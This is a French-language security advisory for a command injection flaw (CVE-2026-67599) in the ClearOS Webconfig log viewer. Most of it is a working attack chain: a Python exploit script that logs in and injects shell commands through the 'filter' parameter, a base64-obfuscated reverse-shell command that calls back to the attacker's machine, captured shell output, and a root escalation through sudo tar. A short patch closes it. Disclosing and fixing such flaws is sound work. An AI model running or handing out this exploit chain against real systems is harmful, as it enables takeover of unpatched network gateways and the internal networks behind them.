
Authenticated Blind OS Command Injection in ClearOS
Paquet : ClearFoundation
Versions testées : ClearOS 7.9.1.342252
Type de vulnérabilité : Injection de commandes OS (CWE-78)
Sévérité : Élevée
CVE : CVE-2026-67599
Vecteur CVSS v3.1 : CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H (Score : 7.2)
Merci à VulnCheck pour l'aide apportée à l'attribution et au suivi de ce CVE-2026-67599 en mon nom.
ClearOS est un système d'exploitation basé sur CentOS/RHEL conçu pour servir de passerelle réseau, de plateforme de gestion unifiée des menaces (UTM) et de serveur périphérique pour les petites et moyennes organisations. Fonctionnant principalement comme un équipement de périmètre réseau, il gère les règles de pare-feu, les connexions VPN, le routage et l'infrastructure réseau de base.
Étant donné que ClearOS est déployé en périphérie du réseau, les interfaces d'administration comme Webconfig (port 81) sont fréquemment exposées aux segments de gestion ou directement aux réseaux externes. Une vulnérabilité d'exécution de commandes dans cette interface permet à un attaquant de compromettre la passerelle, d'établir un point d'ancrage persistant sur la périphérie et de pivoter directement vers les segments du réseau interne.
/usr/clearos/apps/base/libraries/File.php — lignes 297, 314
Le paramètre filter soumis au point de terminaison Log Viewer est transmis sans assainissement dans une commande shell construite dans File.php. La valeur $regex est interpolée directement dans la chaîne de commande au lieu d'être transmise comme argument correctement échappé, ce qui permet à des charges utiles de substitution de commande telles que $(...) ou des expressions entre accents graves de s'exécuter en tant qu'utilisateur webconfig.
Je suis tombé sur ce problème lors d'une mission active. Voici un simple générateur d'artefact.
#!/usr/bin/python3
import requests
import sys
import warnings
warnings.filterwarnings("ignore")
import argparse
import urllib.parse
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--username", required=True, help="username")
parser.add_argument("-p", "--password", required=True, help="password")
parser.add_argument("-t", "--target", required=True, help="target")
parser.add_argument("-c", "--command", default="id>/tmp/lazytitanwazhere", help="command to execute (default: id>/tmp/lazytitanwazhere)")
args = parser.parse_args()
s = requests.Session()
s.headers.update({"Content-Type": "application/x-www-form-urlencoded"})
s.verify = False
login_data = f"ci_csrf_token=random&os_username={args.username}&os_password={args.password}&code=en_US&submit=Login"
s.post(f"https://{args.target}:81/app/base/session/login/", data=login_data, cookies={"ci_csrf_token":"random"})
token = s.cookies.get("ci_csrf_token")
command_to_execute = urllib.parse.quote_plus(args.command)
command_data = f"ci_csrf_token={token}&file=system&filter=$({command_to_execute})&display=Display"
s.post(f"https://{args.target}:81/app/log_viewer/index", data=command_data)
Exemple de shell inversé (attaquant sur .1, cible sur .129) :
python .\testing.py -u root -p password -t 192.168.137.129 -c "echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEzNy4xLzEzMzcgMD4mMQ==|base64 -d|bash"
Sortie confirmée :
Ncat: Connection from 192.168.137.129:52984.
bash: no job control in this shell
bash-4.2$ id
uid=995(webconfig) gid=994(webconfig) groups=994(webconfig)
L'élévation de privilèges vers root s'effectue facilement grâce aux règles sudoers par défaut, très permissives :
bash-4.2$ id
uid=995(webconfig) gid=994(webconfig) groups=994(webconfig)
bash-4.2$ sudo -l
Matching Defaults entries for webconfig on server:
!visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY
HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC
LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin, !syslog, env_keep+=http_proxy, env_keep+=https_proxy
User webconfig may run the following commands on server:
(root) NOPASSWD: /usr/bin/killall, /usr/sbin/postmap, /usr/sbin/postconf, /usr/sbin/run-app-upgrades,
/usr/sbin/configuration-restore, /bin/tar, /usr/sbin/mkdosfs, /usr/bin/cat, /usr/sbin/mkfs.vfat,
/usr/sbin/mkfs.xfs, /usr/bin/mount, /usr/sbin/pvs, /usr/sbin/vgdisplay, /usr/sbin/lvdisplay, /usr/sbin/pvremove,
/usr/sbin/vgremove, /usr/sbin/lvremove, /usr/bin/umount, /usr/bin/df, /usr/sbin/lvextend, /usr/sbin/lvreduce,
/usr/sbin/blkid, /usr/bin/mkdir, /usr/sbin/mkfs.ext3, /usr/sbin/mkfs.ext4, /usr/sbin/lvcreate,
/usr/sbin/vgcreate, /usr/sbin/pvcreate, /usr/sbin/storagize-mappings, /usr/sbin/app-storage-create,
/bin/findmnt, /sbin/sfdisk, /sbin/parted, /sbin/mkfs.ext3, /sbin/mkfs.ext4, /usr/sbin/ntpdate, /sbin/hwclock,
/usr/bin/openssl, /usr/sbin/dmidecode, /usr/sbin/initialize-accounts, /usr/sbin/nscd,
/usr/clearos/sandbox/usr/sbin/httpd, /usr/sbin/yum-install, /usr/bin/yum-config-manager, /usr/bin/yum,
/usr/sbin/userdel, /usr/sbin/app-manager, /usr/sbin/app-rename, /usr/sbin/app-realpath, /usr/sbin/app-passwd,
/usr/bin/systemctl, /usr/bin/passwd, /usr/bin/du, /usr/bin/chfn, /usr/bin/tail, /usr/bin/find, /usr/bin/file,
/usr/bin/api, /sbin/service, /sbin/shutdown, /bin/touch, /bin/rmdir, /bin/rm, /bin/rpm, /bin/mv, /bin/mkdir,
/bin/ls, /bin/kill, /bin/grep, /bin/df, /bin/cp, /bin/chown, /bin/chmod, /bin/cat, /usr/sbin/wc-yum,
/usr/bin/eventsctl, /usr/bin/mkhost.sh, /usr/sbin/brctl, /sbin/arping, /sbin/iwconfig, /sbin/ip, /sbin/ifup,
/sbin/ifdown, /sbin/ifconfig, /sbin/ethtool, /bin/hostname
Dans l'exemple ci-dessous, utilisation du binaire tar pour élever les privilèges vers root :
bash-4.2$ sudo tar cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
tar: Removing leading `/' from member names
[root@localhost ~]# id
uid=0(root) gid=0(root) groups=0(root)
Un utilisateur authentifié de l'interface web ayant accès aux Rapports obtient une exécution complète de commandes au niveau du système d'exploitation en tant qu'utilisateur webconfig. Dans une installation ClearOS 7.9 par défaut, webconfig dispose de privilèges sudo NOPASSWD étendus, permettant une élévation immédiate vers root sans informations d'identification supplémentaires. Un attaquant peut obtenir un accès root persistant à l'hôte sous-jacent, y compris toutes les données, les services et les configurations réseau gérés par le système.
ClearOS est en fin de vie. La dernière distribution encore téléchargeable sur clearos.com (version ClearOS-7.9.1.342252) date du 13 octobre 2021 et ne reçoit aucune maintenance ni mise à jour de sécurité en amont.
Pour cette raison, le correctif ci-dessous n'est qu'un pansement temporaire. Exécuter un système d'exploitation non maintenu en périphérie de votre réseau, c'est jouer avec le feu. La voie fortement recommandée est de migrer entièrement hors de ClearOS vers un équipement périphérique ou une plateforme UTM pris en charge.
Si vous devez maintenir cet hôte en vie pendant la planification d'une migration, enveloppez $regex dans escapeshellarg() aux lignes 297 et 314 de /usr/clearos/apps/base/libraries/File.php pour passer de :
'"' . $regex . '" ' . escapeshellarg($this->filename) . " > " . $tempfile,
À :
'-e ' . escapeshellarg($regex) . ' ' . escapeshellarg($this->filename) . " >" . $tempfile,
Redémarrez ensuite le service webconfig :
sudo systemctl restart webconfig